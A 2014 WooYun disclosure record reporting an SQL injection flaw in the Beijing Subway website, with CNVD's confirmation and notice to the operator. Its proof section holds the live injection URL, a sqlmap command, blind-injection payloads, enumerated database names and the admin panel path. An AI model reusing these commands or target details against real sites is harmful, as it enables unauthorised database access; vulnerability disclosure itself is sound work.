当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-049696

漏洞标题:北京地铁官网存在注入漏洞

相关厂商:北京地铁官网

漏洞作者: McAfee

提交时间:2014-01-24 11:27

修复时间:2014-03-10 11:28

公开时间:2014-03-10 11:28

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-24: 细节已通知厂商并且等待厂商处理中
2014-01-29: 厂商已经确认,细节仅向厂商公开
2014-02-08: 细节向核心白帽子及相关领域专家公开
2014-02-18: 细节向普通白帽子公开
2014-02-28: 细节向实习白帽子公开
2014-03-10: 细节向公众公开

简要描述:

北京地铁官网存在注入漏洞

详细说明:

注入点:http://www.bjsubway.com/e/action/ListInfo/?classid=40&ph=1&station=苹果园

漏洞证明:

D:\Program Files\Python275\sqlmap>sqlmap.py -u "http://www.bjsubway.com/e/action
/ListInfo/?classid=40&ph=1&station=苹果园" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:00:06
[23:00:06] [INFO] resuming back-end DBMS 'mysql'
[23:00:06] [INFO] testing connection to the target URL
[23:00:08] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: station
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: classid=40&ph=1&station=???' AND 7406=7406 AND 'Ylqj'='Ylqj
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: classid=40&ph=1&station=???' AND SLEEP(5) AND 'PVlS'='PVlS
---
[23:00:08] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.22, PHP 5.3.14
back-end DBMS: MySQL 5.0.11
[23:00:08] [INFO] fetching database names
[23:00:08] [INFO] fetching number of databases
[23:00:08] [INFO] resumed: 7
[23:00:08] [INFO] resumed: information_schema
[23:00:08] [INFO] resumed: bjsubway
[23:00:08] [INFO] resumed: mysql
[23:00:08] [INFO] resumed: performance_schema
[23:00:08] [INFO] resumed: sakila
[23:00:08] [INFO] resumed: test
[23:00:08] [INFO] resumed: world
available databases [7]:
[*] bjsubway
[*] information_schema
[*] mysql
[*] performance_schema
[*] sakila
[*] test
[*] world
[23:00:08] [INFO] fetched data logged to text files under 'D:\Program Files\Pyth
on275\sqlmap\output\www.bjsubway.com'
[*] shutting down at 23:00:08
D:\Program Files\Python275\sqlmap>


目测 bjsubway 是个重要信息的数据库 由于表太多 懒得注了。。。
后台地址:www.bjsubway.com/e/admin/index.php

修复方案:

我又不是专业的。。。不晓得

版权声明:转载请注明来源 McAfee@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-01-29 09:00

厂商回复:

CNVD确认并复现所述情况,已经由CNVD在24日下午联系了北京地铁网站管理单位,向其通报了漏洞情况。

最新状态:

暂无